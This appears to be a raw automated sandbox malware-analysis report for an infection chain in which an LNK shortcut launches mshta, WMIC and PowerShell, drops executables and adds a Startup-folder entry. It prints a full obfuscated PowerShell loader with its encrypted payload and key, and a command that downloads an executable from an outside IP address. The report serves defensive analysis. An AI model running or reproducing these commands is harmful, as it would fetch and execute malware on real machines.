Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Section loaded: rasadhlp.dll

Source: C:\Windows\System32\wbem\WMIC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: nTyPEbq9wQ.lnk

LNK file: ..\..\..\..\..\Windows\System32\Wbem\wmic.exe

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: dvdplay.pdbGCTL source: mshta.exe, 00000006.00000002.1692760542.0000023F458C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663608231.0000023F4030E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656620086.0000023F4026E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692811416.0000023F458D8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657428483.0000023F458C1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1658407754.0000023F402FC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1661852366.0000023F402F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656620086.0000023F402DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1661852366.0000023F402DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692472427.0000023F402F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656252636.0000023F458D8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657586967.0000023F402DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657586967.0000023F40274000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663444018.0000023F402F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656378157.0000023F402E8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657068066.0000023F402F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1658444595.0000023F40304000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692676271.0000023F4030E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1691660367.0000023F4026F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1658497771.0000023F4030D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1662892425.0000023F402E5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: vdplay.pdbGCTL source: mshta.exe, 00000006.00000003.1656378157.0000023F402E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: dvdplay.pdb source: mshta.exe, 00000006.00000003.1656620086.0000023F4026E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692811416.0000023F458D8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656252636.0000023F458D8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657586967.0000023F40274000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656378157.0000023F402E8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657068066.0000023F402F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1691660367.0000023F4026F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: vdplay.pdb source: mshta.exe, 00000006.00000003.1656378157.0000023F402E8000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($YUBmqnRj){return -split ($YUBmqnRj -replace '..', '0x$& ')};$JQJjsu = clean('5B4D0AAC74AF94B96DE6D0711E9796AF44D95584C20A8120E5F4C2D55E092A7A2D251DA390909853B5C79690E93A85CB92B9FDEFC65F3CDB1D06CC6879B4516928A8BF4DBB11970D2A2BD075032D2FCA7E0D722AAA3530CE3EB19E65FE575E8A25BED1C1BF5DFFD683FB4BC2EAA8FE8F1A60500155478D87FAC118323C432F5036D59616B9773D97224FA5D5F611314ADE0D4C1D3748EB30F2D127D9E5D8ABFD58BF6DFAB496B4151926B4932EB4E2002C026F0DAD699E3BF4E2AFBA35AC0D2467BE27D487758C9F0E13B99AB91507093DA9B8C8F3FC004623B2AC22915FF6DDA0F2A151FD5C5BC18FFC2D1AD49092E43840545B43C3931B9431F537A4EAF81384FCE89E341CB162F0D74C7C8BBE83A369F44C7C8AD2314CDE87C92213F354F43436DD67669190C7CF80EAB568C8FFE5DF1D7A7289E9AFCC57749726D4170CB358F474A9B394F92F7A7C59B69E1D4F3048A9AF1B1BF6458C6DC0905071FC67BF46B82AB406FD2E0DD0353A56DB42CC22A38391221F97AF42C621E21E76AAD151B423B4198F39A2C8B1B8521C9400861EA34B51E60B32DCF611B5BA64111CB29E6119A047B3C01F8189C05F98FACD727C23B17202459A7730C79C74BF89421B7760627C3EF646B0FA2677D229451827319989785D6B8F597DD83E86CE034F586EC33BFB81CEA7484471E4468F516FD291FF97F14BF7E804A851C2C5526F5C84BE28FADD849079EF0089CEB62A808A2394FFC96A219396786CD01610BE36929BF865E35CD69E6A8E9B2594734C53B954CE005A47ED538E28D7BCE8E8B096462399F500F3B6D157E20DB80631F70368AA3E87F3E6B4A33350E734FE88F2D62FD30B450A5F8061AD2D42D59E00EB1797E197155F3CC5A81E5A28E6FE0A7847C64D970D00EB3212F922E5A69EDCCA6A771B579DA91E8062F135579A2F596F4FB904E51632EC3798751469A06B55F431B3C278D02BA162BAD2051DD8ECEF925C3B148ACC6CF884D595F47ECED7EE54A234964C7AC1C53386EE8ADD5543AAB0A0A455D9BC24791A136E50CBE3C2494A9E1C02E194A3C9AECB489457F71355B11D616C94AD17918390627C6F8D0EBFEC0D4B85391A1F467AEB4171DF3219BB517EB07410A106FF89CCA8023C0CF6C0F5251A8E428413363D25F0B505E17AEC003693E130A590DB8BBE133FFB0BDBC8930DA536699D6DAAC01BB7FD671DBE8DEFF6B4028FE57FCB454DAD571F21C46E58BED7CC67F8F8B3F124E43476CD67F681F52F9E21044F8C5361A690A893FA06D69E2DB01A27F3503C04BE81BB4A323F8EECBA5358DDB14C9EC0469AEE1544FB484B6D1A6724132B29F8451BF425B1B9762AA86E3A6ED9A28760C77FEC629AE93E74262197D8D6B10F23ED27497ECC808D24E7D6E88CEB1D5788785816C5FA9EAB87109E431C7C6442BA4FC96DA32D0841A2C60881B66136D63452D540BE93E778EDEC6BA91D01916A1EEC4EB6A74F22241194EC1EEDC14528EAC307306F8E6CAAAC68402C965A0CE3A683F3BF2B61F6BEBD7EC1347EECF6D52329C0F2D6EE0FDC59AD85C3A7B382EE197C38A04DDE6FEF2EBDF6F21091DD434E3ED41F090C5A4AB1DEA7CC5DF529DC4724F97F443E9F7616218B009BBAE57D41AC9B157FAB29601988A46216F36F8FCDE4CD489509E890AA17820AC29A5F377819EBD437D5F8DA703DC69541B92F3DBA8114F5F49D9915B9C79A2E77BD647E7E439D93AE77D39EF6F453BB');$nVgOVia = [System.Security.Cryptography.Aes]::Create();$nVgOVia.Key = clean('5045706B41635763586C7A575A435A61');$nVgOVia.IV = New-Object byte[] 16;$UoRhOAMrF = $nVgOVia.CreateDecryptor();$gAccxEpxB = [Text.Encoding]::UTF8.GetString($UoRhOAMrF.TransformFinalBlock($JQJjsu, 0,$JQJjsu.Length));
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($YUBmqnRj){return -split ($YUBmqnRj -replace '..', '0x$& ')};$JQJjsu = clean('5B4D0AAC74AF94B96DE6D0711E9796AF44D95584C20A8120E5F4C2D55E092A7A2D251DA390909853B5C79690E93A85CB92B9FDEFC65F3CDB1D06CC6879B4516928A8BF4DBB11970D2A2BD075032D2FCA7E0D722AAA3530CE3EB19E65FE575E8A25BED1C1BF5DFFD683FB4BC2EAA8FE8F1A60500155478D87FAC118323C432F5036D59616B9773D97224FA5D5F611314ADE0D4C1D3748EB30F2D127D9E5D8ABFD58BF6DFAB496B4151926B4932EB4E2002C026F0DAD699E3BF4E2AFBA35AC0D2467BE27D487758C9F0E13B99AB91507093DA9B8C8F3FC004623B2AC22915FF6DDA0F2A151FD5C5BC18FFC2D1AD49092E43840545B43C3931B9431F537A4EAF81384FCE89E341CB162F0D74C7C8BBE83A369F44C7C8AD2314CDE87C92213F354F43436DD67669190C7CF80EAB568C8FFE5DF1D7A7289E9AFCC57749726D4170CB358F474A9B394F92F7A7C59B69E1D4F3048A9AF1B1BF6458C6DC0905071FC67BF46B82AB406FD2E0DD0353A56DB42CC22A38391221F97AF42C621E21E76AAD151B423B4198F39A2C8B1B8521C9400861EA34B51E60B32DCF611B5BA64111CB29E6119A047B3C01F8189C05F98FACD727C23B17202459A7730C79C74BF89421B7760627C3EF646B0FA2677D229451827319989785D6B8F597DD83E86CE034F586EC33BFB81CEA7484471E4468F516FD291FF97F14BF7E804A851C2C5526F5C84BE28FADD849079EF0089CEB62A808A2394FFC96A219396786CD01610BE36929BF865E35CD69E6A8E9B2594734C53B954CE005A47ED538E28D7BCE8E8B096462399F500F3B6D157E20DB80631F70368AA3E87F3E6B4A33350E734FE88F2D62FD30B450A5F8061AD2D42D59E00EB1797E197155F3CC5A81E5A28E6FE0A7847C64D970D00EB3212F922E5A69EDCCA6A771B579DA91E8062F135579A2F596F4FB904E51632EC3798751469A06B55F431B3C278D02BA162BAD2051DD8ECEF925C3B148ACC6CF884D595F47ECED7EE54A234964C7AC1C53386EE8ADD5543AAB0A0A455D9BC24791A136E50CBE3C2494A9E1C02E194A3C9AECB489457F71355B11D616C94AD17918390627C6F8D0EBFEC0D4B85391A1F467AEB4171DF3219BB517EB07410A106FF89CCA8023C0CF6C0F5251A8E428413363D25F0B505E17AEC003693E130A590DB8BBE133FFB0BDBC8930DA536699D6DAAC01BB7FD671DBE8DEFF6B4028FE57FCB454DAD571F21C46E58BED7CC67F8F8B3F124E43476CD67F681F52F9E21044F8C5361A690A893FA06D69E2DB01A27F3503C04BE81BB4A323F8EECBA5358DDB14C9EC0469AEE1544FB484B6D1A6724132B29F8451BF425B1B9762AA86E3A6ED9A28760C77FEC629AE93E74262197D8D6B10F23ED27497ECC808D24E7D6E88CEB1D5788785816C5FA9EAB87109E431C7C6442BA4FC96DA32D0841A2C60881B66136D63452D540BE93E778EDEC6BA91D01916A1EEC4EB6A74F22241194EC1EEDC14528EAC307306F8E6CAAAC68402C965A0CE3A683F3BF2B61F6BEBD7EC1347EECF6D52329C0F2D6EE0FDC59AD85C3A7B382EE197C38A04DDE6FEF2EBDF6F21091DD434E3ED41F090C5A4AB1DEA7CC5DF529DC4724F97F443E9F7616218B009BBAE57D41AC9B157FAB29601988A46216F36F8FCDE4CD489509E890AA17820AC29A5F377819EBD437D5F8DA703DC69541B92F3DBA8114F5F49D9915B9C79A2E77BD647E7E439D93AE77D39EF6F453BB');$nVgOVia = [System.Security.Cryptography.Aes]::Create();$nVgOVia.Key = clean('5045706B41635763586C7A575A435A61');$nVgOVia.IV = New-Object byte[] 16;$UoRhOAMrF = $nVgOVia.CreateDecryptor();$gAccxEpxB = [Text.Encoding]::UTF8.GetString($UoRhOAMrF.TransformFinalBlock($JQJjsu, 0,$JQJjsu.Length));	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe""

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe

Code function: 18_2_00007FF697BD7634 LoadLibraryA,GetProcAddress,

18_2_00007FF697BD7634

Source: HA_19-12NGHEP_anh[1].6.dr

Static PE information: real checksum: 0x5f0d should be: 0x1d246

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF886C20B9A push ds; iretd	9_2_00007FF886C20BA2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF886C291BD push E85B7E00h; ret	9_2_00007FF886C291F9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF886CF49DD push eax; retn 7AC0h	9_2_00007FF886CF4A19
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF886CF03D1 push es; iretd	9_2_00007FF886CF043A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF886CF0D83 push cs; iretd	9_2_00007FF886CF0D8A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF886CF5173 push edx; iretd	9_2_00007FF886CF517A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF886CF50BB push eax; iretd	9_2_00007FF886CF50B2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF886CF50A4 push ecx; iretd	9_2_00007FF886CF50BA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF886CF1EA1 push ds; iretd	9_2_00007FF886CF1EA2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF886CF364B push eax; iretd	9_2_00007FF886CF3661
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF886CF0E73 push cs; iretd	9_2_00007FF886CF0E7A
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B778FD push rdi; ret	18_2_00007FF697B77904
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B77399 push rdi; ret	18_2_00007FF697B773A2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_00007FF886C309CD push ds; iretd	25_2_00007FF886C30B1A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 25_2_00007FF886C30AD3 push ds; iretd	25_2_00007FF886C30B1A
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002F8B75 push ecx; ret	27_2_002F8B88
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D48B75 push ecx; ret	31_2_00D48B88

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\mshta.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\mshta.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\SysWOW64\cmd.exe

Creates processes via WMI

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : Win32_Process::Create

Drops PE files with a suspicious file extension

Source: C:\Users\Public\Guard.exe

File created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif

Jump to dropped file

Source: C:\Windows\System32\mshta.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\HA_19-12NGHEP_anh[1]	Jump to dropped file
Source: C:\Users\Public\Guard.exe	File created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Guard.exe	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\Guard.exe

Jump to dropped file

Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\HA_19-12NGHEP_anh[1]

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\Public\Guard.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Code function: 18_2_00007FF697B64514 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,	18_2_00007FF697B64514
Source: C:\Users\Public\Guard.exe	Code function: 27_2_003559B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	27_2_003559B3
Source: C:\Users\Public\Guard.exe	Code function: 27_2_002E5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	27_2_002E5EDA
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00DA59B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	31_2_00DA59B3
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Code function: 31_2_00D35EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	31_2_00D35EDA

Source: C:\Users\Public\Guard.exe

Code function: 27_2_002F33B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

27_2_002F33B7

Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
